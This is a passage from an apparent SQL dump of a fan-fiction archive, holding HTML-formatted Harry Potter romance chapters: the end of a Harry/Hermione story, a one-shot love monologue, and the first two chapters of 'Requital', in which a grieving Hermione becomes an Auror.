thumb. They grinned at\neach other for a moment, and then he could no longer hold back, and pressed his\nmouth against hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione wound\nher arms around his neck. She no longer felt cold as his hands swept across her\nback, into her hair. Her mouth was hot against his, deeply and sensually\nkissing him as hard as she could.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt\nhimself grow dizzy, and losing balance, he crashed back into the snow for the\nthird time, taking Hermione with him. The world seemed to slip away from them\nas they kissed for what felt like hours.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ohhh!&#8221; Hermione\npulled away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Harry\nasked. &#8220;What&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;We shouldn&#8217;t\njust be sitting here!&#8221; Hermione pulled herself up, hauling Harry along with\nher. &#8220;Come on, we&#8217;ve got a wedding to plan!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grinned in\nreply as he wrapped his arm around her waist, and the two of them left the\npark, ready to start their lives together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: well\nWAHHHHHHHHHHHH I can&#8217;t believe that&#8217;s over! I really loved doing this story,\nand thank you guys for staying with it!!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Thank you again\nto all of you who took the time to review this, I hope to see you guys reading\nmy other fics as well. Next up, I&#8217;m putting full concentration on Within the\nShadows of Hatred, so expect an update there soon!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Ryoko Blue, you\nrock for helping me out :) Thanks girl!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(89, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Disclaimer: I don&#8217;t own\nHarry, Hermione, or any of the things I mention in this. If I were JK Rowling, I wouldn&#8217;t be writing fanfiction,\nI&#8217;d still be working on Order of the Phoenix! And Harry and Hermione would have already gotten\ntheir groove on too. ;p</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love looking at you when\nyou don&#8217;t know it. When you&#8217;re concentrating on your homework, you bite your\nlower lip and narrow your eyes. I think I&#8217;m the only one that notices that. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it when your hair\nsticks up in the back, how it&#8217;s always so particularly messy. It looks best\nafter I&#8217;ve run my hands through it, letting the soft and textured strands slip\nthrough my fingers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love how you look at me\nafter we kiss. The feel of your lips are still on mine, your taste lingering;\nusually of Chocolate Frogs or peppermint Bertie Botts. The taste that I have\ncome to think of as distinctly &#8216;you&#8217;. Your eyes are always wide and impish, as\nif someone&#8217;s caught us doing something we shouldn&#8217;t be.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it when you do simple\nthings, like take my hand in yours as we leave the Great Hall, or when you take\nmy bag when it&#8217;s laden down with books. For someone that was never taught any\nmanners growing up, you&#8217;ve certainly acquired many.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love your smile. Having\nparents that are dentists, I can&#8217;t help but notice your even white teeth that\nshow when your lips curve up at the sides. It&#8217;s such a mischievous smile too,\none that many people say you have inherited from your father. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love your eyes. When\nyou&#8217;re happy, they shine like emeralds. When you&#8217;re sad, they darken to a\nforest green. They always betray your emotions, especially to the people that\ncare about you the most. They say the eyes are the window to the soul, and if\nthat&#8217;s true, then you must be the richest man alive.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it that you&#8217;re so kind to everyone. Well, everyone except the\nSlytherins. People aren&#8217;t afraid to come up to you and ask questions, whether\nit be about the weather or about your scar. It&#8217;s a natural friendliness that\nattracts everyone to you.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love your body. All those years you spent as a scrawny child have\npassed by, and it&#8217;s evident that you work out, be it during the summer away\nfrom Hogwarts or practicing Quidditch. Your strong arms hold me so tightly when\nwe hug, I feel like I never want to leave your embrace.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love the way you always would reassure me that I am the most beautiful\nwoman in the world. Even during those moments when I would come out with my\nfuzzed up hair, no makeup and baggy clothes, you would only have eyes for me.\nThe warm look would always make me feel as if it were just the two of us in the\nuniverse.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love how you and Ron always defended me, be it from Malfoy or from\nreporters barging in on our private life. Starting with the troll, to\nVoldemort, to Rita Skeeter, you have been there for me when I haven&#8217;t been able\nto get myself out of trouble, which isn&#8217;t very often. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love how you whisper things in my ear as I&#8217;m about to fall asleep. In\nthat voice not loud enough to jerk me back into full consciousness, you have\nprofessed your love a million times over, and I&#8217;ve heard it every time. It&#8217;s\nusually during those times we&#8217;ve had our best conversations, be it aloud or\njust through a touch, a squeeze, a caress, or a kiss.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love how at our wedding, your eyes never left mine as I came down the\naisle with my father. The calm and loving look you gave me helped me stay calm\nas I took step after step; with everyone watching me. When I reached you and\ntook your arm, everything else disappeared once more, and all I can recall is\nlooking at you the whole ceremony.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love the way we lay together after making love. There is no better\nfeeling on earth to me than the way you make me feel as I am coming down from\nthe level of passion you bring me to. Our bodies make the most perfect blend;\nit was like our curves were made to fit into one another&#8217;s. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it how when our first child was born, you brought her over to me,\nand we both stared at her in awe. She had a patch of brown hair the colour of\nmine, and when she opened her eyes, they were a perfect clear green like yours,\nand your mother&#8217;s before you. When we spoke her name aloud, she smiled like she\nunderstood it was her. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it that you are such a wonderful father. Growing up, you never\nreceived any love, but the affections you give are endless. Our daughter is\nyour pride and joy; you can never get enough of cuddling her, holding her,\nfeeding her.&nbsp; I&#8217;ve got so many pictures\nimprinted in my mind of you just looking down at her, like you can&#8217;t believe\nshe&#8217;s a part of you, of the two of us.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love how you became so emotional when she started her first year of\nschool at Hogwarts. I swore I saw tears in your eyes as she boarded the train\nand turned to wave at us as it began to pull away out of the station. I thought\nit would be me that cried, but it was your tears I brushed away that evening as\nwe sat in our quiet home. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it how you and I were the proudest parents at our daughter&#8217;s\ngraduation ceremony as she became one of the most successful witches ever to\ncome out of Hogwarts. Head of her class like me and gracious like you, she\ncertainly inherited some of our best traits. It was me this time with tears in\nmy eyes; tears I was able to hold back only when you took my hand in yours and\nsqueezed it tightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love how when you walked her down the aisle at her wedding, you wore\nthe biggest grin on your face. She smiled back up at you, and you kissed her on\nthe cheek and whispered something in her ear before letting her go to her\nfuture husband. When we watched them dance together later, we whispered that it\nfelt like us all over again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it how we sit together now on our front porch and watch the rain,\nnot as youthful as we always were, but the spark of our romance always has\nremained. As you stand up now and smile at me, I&#8217;m reminded of how many years\nwe&#8217;ve spent together, and how many more years we&#8217;re likely to spend together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">I love it that you&#8217;re Harry Potter, I love it that I&#8217;m your wife\nHermione, and I love it that you love me and always will.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Wow, I felt compelled to write this and I think it turned out\nrather well&#8230;.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Please remember to read and then REVIEW!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also, check out my fic Hogsmeade Pizza, it&#8217;s an AU Harry/Hermione,\nRon/Susan Bones, and Lavender/OC (Henry). If you&#8217;ve seen the movie Mystic\nPizza, it&#8217;s largely based off that, but I&#8217;ve been putting some original things\nin there as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Also check out the works of thefly and Ryoko Blue, both in my favorites\nlist!!!</p>\n\n\n\n\n\n\n'),
	(90, 1, '\n\n\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version). &nbsp;Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr </p>\n<p>Type: Angst\\ Romance</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p><b><i>Disclaimer: No profits are being \n  made off the fiction on these pages. Harry Potter, associated characters and \n  the associated Harry Potter universe is &#169; J. K. Rowling and respective publishers. \n  Fanfiction is fiction--it is not meant to be taken seriously in the least.</i></b></p>\n<p style="line-height:150%"><u>Chapter 1</u> - Consumed</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The blackness almost overtook \n  her.&nbsp; It almost ate her alive bit by bit as she sat in silence watching \n  her childhood home being consumed by a fire so bright, it looked as if a second \n  daylight had arrived. A miserable ache clawed around inside of her and her head \n  felt heavy and dark.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her heart pleaded for any \n  sign of life.&nbsp; Perhaps her mother was in one of the ambulances, crying \n  desperately for her.&nbsp; Maybe her father had to work late, like she had, \n  so he hadn&#8217;t been home when&#8230;they&#8230;came.&nbsp; She knew that her parents were \n  gone.&nbsp; Her life was gone. &nbsp;She felt as if she were sinking into the \n  ground below her. She could taste her tears now.&nbsp; She should have been \n  there to protect them.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The Muggle police swarmed \n  the area.&nbsp; She recognized some of those faces as Wizards who worked in \n  the Muggle world.&nbsp; They were here to clean up the mess, the overwhelming \n  evidence of what had actually happened at the Granger house that night.&nbsp;&nbsp; \n  They would most likely fail.&nbsp; There was too much.&nbsp; The Dark Mark was \n  burned into the grass.&nbsp; There was no hiding that.&nbsp;&nbsp;The death \n  of Voldemort didn&#8217;t mean the end of the war.&nbsp; The enemies\' celebrations \n  were short lived when a new leader emerged as quickly as the old one fell, and \n  their ranks remained true to their cause.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The enemy had come, and they \n  had taken everything she had.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Miss&#8230;are you all right, \n  Miss?&nbsp; Are you hurt, Miss?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Questions.&nbsp; There were \n  too many going through her head to answer anyone else&#8217;s.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry.&nbsp; It was Harry.&nbsp; \n  His voice cut through the chaos like a ray of light, but she couldn&#8217;t seem to \n  find her own will to speak.&nbsp; Nothing would come out.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She turned to look at his \n  face.&nbsp; She could read it like her favorite book.&nbsp; She felt his misery, \n  his sadness.&nbsp; His eyes were apologetic and sorrowful.&nbsp; Behind him \n  were Ron and his father.&nbsp; They must have known the attack was coming.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry read her \n  mind.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We didn&#8217;t get here in time,&#8221; \n  he said.&nbsp; &#8220;We didn&#8217;t make it.&nbsp; I&#8217;m sorry.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; All she could do was stare \n  into the flames looking for faces&#8230;for anything.&nbsp; A low and painful noise \n  escaped her as she felt Mr. Weasley&#8217;s cloak around her shoulders and Harry lifting \n  her from the ground.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She fought him.&nbsp; She \n  struggled against his embrace, not ready to give in to its comfort.&nbsp; She \n  wanted to feel the pain of her loss.&nbsp; Tears ran down her cheeks, flowing \n  like two small rivers through the caked-on soot that had only moments ago blackened \n  everything in its path.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; But he was stronger than \n  she.&nbsp; He held her so tightly, she could barely breathe, and after a brief \n  attempt at breaking free from him, she slumped against his chest as he carried \n  her farther away from the house.&nbsp; Everything smelled like death.&nbsp; \n  Even him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The inside of Mr. Weasley&#8217;s \n  car was warm.&nbsp; She was between Harry and Ron now.&nbsp; They both held \n  her, Harry stroking her hair lightly, and Ron holding her hand, trying desperately \n  to catch her glance.&nbsp; They rode.&nbsp; Fast.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione&#8230;we can&#8217;t let the \n  Muggle police get a hold of you.&nbsp; They already suspect it was something \n  other than a typical house fire.&nbsp; You&#8217;ll need to be with us.&nbsp; I&#8217;ve \n  already asked Ginny and Mrs. Weasley to pack up essentials from your apartment.&nbsp; \n  They will certainly get your address quickly and come looking for you&#8230;I&#8217;m sorry \n  dear,&#8221; he said quietly.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She understood.&nbsp; If \n  this were linked to witchcraft it would be linked to her.&nbsp; Many witches \n  and wizards had already been sent away for testing, or marked for death.&nbsp; \n  Since massive attacks had been launched, keeping the two worlds happily separated \n  had become virtually impossible.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione Granger was forever \n  changed. When the change came, it ripped through her like the fire that had \n  consumed her world, and she silently grieved for her innocence lost.&nbsp; The \n  sadness and anger Harry had lived with day in and day out was now hers to share.&nbsp; \n  For the first time she understood why he fought with every ounce of his being, \n  not fearful of his own death.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; For three weeks, they left \n  her in precious silence, occasionally popping in to fill her in on small details.&nbsp;&nbsp; \n  The funeral was lovely, they told her.&nbsp; Her relatives grieved their loss, \n  and many came out.&nbsp; According to the papers, they were all feared dead \n  -- although only two bodies were found.&nbsp;&nbsp; To the Muggle world, she \n  was now a statistic.&nbsp; To the Wizarding world, she was someone to be pitied.&nbsp; \n  She wasn&#8217;t sure which felt worse.&nbsp; She felt like letting go&#8230;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her job as Lead Researcher \n  at the Ministry was there when she wanted to go back.&nbsp; Arthur Weasley was \n  head of the Ministry now after all, and he knew what a state she was in first-hand.&nbsp; \n  She could barely manage coherent thought, let alone work.&nbsp; She was afraid \n  of what she had stumbled onto to make them attack her family.&nbsp; What had \n  provoked this?&nbsp; She couldn&#8217;t even remember her last assignment very well \n  because it seemed so long ago.&nbsp;&nbsp;The only thing worse than the pain \n  of loss was the pain of guilt.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She would lie in bed dreaming \n  of her mother\'s voice singing her into sweet slumber when she was a child... \n  &nbsp;Her father would call out to her that he had finally managed to do the crossword \n  puzzle she\'d put together for him. &nbsp;She visited them each night, remembering \n  her life.&nbsp; She would garden with her mother, and cry on her father&#8217;s shoulder \n  after nasty fall from her bike.&nbsp; She was only alive when she was asleep.&nbsp; \n  She&#8217;d wake up suddenly, praying to find herself back in her apartment. &nbsp;It was \n  just a nightmare, she\'d hope. &nbsp;But when she\'d wake in Ron\'s old room, the sadness \n  would sink in again, and hope would fade away, blackness once again creeping \n  up around her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her only pleasure was when, \n  every evening, Ginny would run her a bath and wash her hair.&nbsp;&nbsp;&nbsp; \n  She craved Ginny&#8217;s delicate fingers running through her long brown locks.&nbsp; \n  It was a temporary escape from madness.&nbsp; Sometimes Ginny would talk about \n  her last year at school, careful not to mention the almost daily affronts, and \n  sometimes Ginny would just sit in silence and run the warm sponge down Hermione&#8217;s \n  back, stopping only to soak up more of the soothing water and hypnotic blend \n  of rosewater she used.&nbsp; The warmth would momentarily soothe Hermione&#8217;s \n  anxiousness, and allow for her to drift off into sleep under the homemade quilts \n  on Ron&#8217;s bed.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron sometimes came \n  to visit, but Mrs. Weasley insisted they not stay too long.&nbsp; There apartment \n  was nearby, but the Ministry had them working overtime almost every night.&nbsp; \n  When they did come to visit, Harry&#8217;s eyes would plead with her to talk to him. \n  &nbsp;He&#8217;d bring her flowers and books to read.&nbsp; She wanted to thank him, but \n  she couldn\'t.&nbsp; She wanted to embrace him, but her skin felt sickly.&nbsp; \n  She had overheard Ron commenting to Harry about how quiet she had become.&nbsp; \n  She couldn&#8217;t hold back a smile as she thought of the irony of Ron actually missing \n  their constant bickering.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s days and nights \n  blended together. She managed to eat enough to stay alive and occasionally come \n  down for dinner with the Weasleys.&nbsp; Most nights it was just herself, Ginny \n  and Mr. and Mrs. Weasley, but winter break was coming to an end, and Ginny would \n  be going back to school soon.&nbsp; She knew it was time to leave.&nbsp; </p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; With a trembling hand, she \n  reached for the suit that hung neat and pressed in Ron&#8217;s closet.&nbsp; Ginny \n  had tended to all of her things quite nicely, and until that moment, they had \n  sat untouched aside for a few tattered and comfortable clothes she wore to lounge \n  around all day.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you sure you&#8217;re ready?&#8221; \n  Ginny asked, handing her the items she had requested from the store.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes.&#8221;&nbsp; Hermione answered, \n  her voice wavering.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ginny wrapped her arms around \n  Hermione&#8217;s waist and kissed her cheek.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Call me if you want to talk \n  at work.&nbsp; All right?&#8221; Ginny offered, turning to leave her to her task.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Hermione sighed, and \n  pulled at her hair again, taking one last look in the mirror at who she had \n  been before.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Weasley couldn&#8217;t hold \n  back the gasp that escaped her as Hermione came downstairs.&nbsp; Hermione was \n  dressed in her best suit, but had traded in her normal free-flowing brown curly \n  locks for shoulder-length straight red hair. &nbsp;&nbsp;It was necessary if \n  she had to go into Muggle London.&nbsp; She mustn&#8217;t be recognized, and although \n  she was assumed dead, she had to leave her Muggle identity behind.&nbsp; In \n  the Wizarding world, she would still be Hermione Granger.&nbsp; In the Muggle \n  world, she was no one.&nbsp; Mr. Weasley stood, and looked on for a moment.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now you really do look like \n  one of my own.&nbsp; I would love nothing more to accompany you back today Hermione, \n  if that&#8217;s what you&#8217;d like,&#8221; he offered.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you.&nbsp; I&#8217;d love \n  that.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She glanced over at Ginny, \n  who was sitting on the couch.&nbsp; The lovely redhead smiled reassuringly at \n  Hermione.&nbsp; Hermione thought she caught a flash of disappointment in her \n  eyes.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you leaving tonight \n  too?&#8221; Ginny asked quietly.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No&#8230;but hopefully by next \n  week.&nbsp; I&#8217;m looking for an apartment.&nbsp; I think it&#8217;s time I went out \n  on my own again,&#8221; Hermione said, staring back.&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Mrs. Weasley came over to \n  hug her tightly.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m proud of you dear.&nbsp; \n  I know you&#8217;ll get through this, but if you need to come back, you have a home \n  here.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Mr. Weasley \n  nodded goodbye and they apparated.&nbsp; She knew he wouldn&#8217;t be pleased at \n  the request she was going to make.&nbsp; She knew he would give in to her, but \n  it wouldn&#8217;t be easy.&nbsp; Especially since&#8230;well, she&#8217;d deal with that later.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She held tightly to the necklace \n  her parents had given to her for Christmas, only three days before their deaths.&nbsp;&nbsp; \n  She would have to find the strength.&nbsp; She didn&#8217;t want anyone else fighting \n  her battles for her.</p>\n\n\n'),
	(90, 2, '\n\n\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version). &nbsp;Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr </p>\n<p>Type: Angst\\ Romance</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p><b><i>Disclaimer: No profits are being \n  made off the fiction on these pages. Harry Potter, associated characters and \n  the associated Harry Potter universe is &#169; J. K. Rowling and respective publishers. \n  Fanfiction is fiction--it is not meant to be taken seriously in the least.</i></b></p>\n<p style="line-height:150%"><u>Chapter 2</u> \n  - Evolution</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The seriousness and resolve \n  behind her voice made it impossible for Arthur Weasley to deny her request.&nbsp; \n  She had grown thinner in this last month, when she had nothing to lose, but \n  there was a strength there that was hard for him to ignore.&nbsp; She clung \n  tightly to the arms of her chair, waiting for his answer, although he suspected \n  what he said wouldn&#8217;t matter anyway.&nbsp; She had already decided to fight \n  this battle &#8211; with or without the Ministry&#8217;s help.&nbsp; She got her answer \n  when he reached into his desk and handed her a new badge.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione was overwhelmed \n  with his faith in her.&nbsp; She had never wanted to take this route before, \n  comfortable in the tedious task of putting things together behind the scenes. \n  &nbsp;She had once boasted to Ron and Harry that while they were out there waving \n  their wands around, she was the one making all of their convictions stick.&nbsp; \n  But that wasn&#8217;t enough anymore.&nbsp; The events that transformed her life had \n  also taken that opinion away from her and she longed for nothing more than to \n  hear the last dying breath of the witch or wizard who had murdered her parents.&nbsp; \n  Only Aurors were given the power to assassinate criminals, so an Auror she would \n  become.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;ll need to be trained.&nbsp; \n  Cho Chang trains all the female Aurors, after which you will be reporting to \n  Harry&#8217;s unit,&#8221; he said, searching her eyes for any change of heart. &nbsp;&#8220;Harry, \n  Ron and Neville are in Evangel right now, following up on a lead.&nbsp; As you \n  know, their unit lost Penelope last year, along with Percy,&#8221; his voice quivered \n  with the words. &nbsp;&#8220;But they will return in four weeks.&nbsp; By then you should \n  be ready to join them.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you.&nbsp; I won&#8217;t \n  fail you.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Arthur Weasley hoped he had \n  made the right choice.&nbsp; Hermione was like his own daughter, and he didn&#8217;t \n  want to lose anyone else to this war.&nbsp; It had already taken Percy, Penelope \n  and Charlie from them.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione walked out of his \n  office and stopped as she felt the stares penetrating her.&nbsp; The endless \n  sea of Ministry personnel gave her sympathetic smiles and small nods.&nbsp; \n  She forced a nod back to a couple of people, but hurried to pack up her old \n  office.&nbsp; There was so much to be done.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Welcome to the wild side,&#8221; \n  Cho Chang said as Hermione walked into the large training room downstairs.&nbsp; \n</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She managed a smile for her \n  teacher.&nbsp; Today she had traded her professional &#8220;librarian&#8221; clothes for \n  a tight black body suit bearing the Auror symbol.&nbsp; She would have been \n  embarrassed to wear such a shape-revealing outfit before, but now it hardly \n  seemed to matter.&nbsp; Cho&#8217;s matching outfit, with the exception of a small \n  red stripe declaring her superior rank, fit equally as well.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You look beautiful,&#8221; Cho \n  said, walking towards her now with her hand outstretched.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione took it, and Cho \n  let her eyes linger over Hermione&#8217;s newly revealed curves.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you,&#8221;&nbsp;Hermione \n  said, shifting uncomfortably.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She watched as her instructor \n  flung her long shiny black hair back and motioned for Hermione to pick out one \n  of the long sticks hanging on the side of the wall.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We will start with these,&#8221; \n  Cho began.&nbsp; &#8220;They are called flacks.&nbsp; They are simple in design, but \n  ingenious.&nbsp; You can take down a 400-pound man with one of these to the \n  right zone.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho pulled out her own stick \n  and swung it beautifully around her back and above her head.&nbsp; It was like \n  watching a dancer.&nbsp; Hermione was entranced.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve long admired \n  your intellect, Hermione.&nbsp; I&#8217;ve always wondered why you and I never became \n  close friends.&nbsp; Perhaps we will now,&#8221; Cho said ,walking towards her, and \n  standing close enough so that Hermione could feel her breath.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d like that,&#8221; Hermione \n  said, meeting Cho&#8217;s gaze and then awkwardly pulling out a flack of her own.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; She knew physical contact \n  had been her weakness, but she also knew she had to become the best she could \n  in order to stand a chance.&nbsp; The enemies often quickly disarmed wands and \n  one had to use other means&#8230;other magic.&nbsp; Personal contact was essential \n  and fighting was something she would learn to do.&nbsp; Cho was the best.&nbsp; \n  She could even take down Harry in non-magical combat, and Arthur Weasley had \n  asked her to help Hermione become good enough to fight along side of the other \n  Aurors.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Cho swung her flack, knocking \n  Hermione onto the mat.&nbsp; Pain shot through her, but she stood up, this time \n  determined not to get lost in her thoughts again.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You can never let your mind \n  wander from the task.&nbsp; Always be prepared for those who fight unfair,&#8221; \n  Cho sneered.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione glared back, gripping \n  the flack with both hands.&nbsp; Cho looked serious for a moment, and dropped \n  her weapon.&nbsp; She moved behind Hermione, grabbing the girl&#8217;s waist and repositioning \n  her hips.&nbsp; Cho kicked Hermione&#8217;s legs apart and guided her hands to the \n  proper position on the flack.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let your weight shift with \n  your weapon.&nbsp; Use whatever force your body can hurl against it,&#8221; she whispered \n  in her ear.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione swung into the air \n  with great force, looking around at Cho who stood behind her smiling now.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;This will come naturally to you, \n  Hermione,&#8221; she said.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned and swung, \n  only missing Cho by an inch.&nbsp; Cho retaliated quickly, knocking her to the \n  ground again.&nbsp; Cho lent Hermione her hand, pulling her up.&nbsp; She put \n  one hand on her shoulder and let it fall gently down to the hand Hermione held \n  the flask in.&nbsp; Hermione 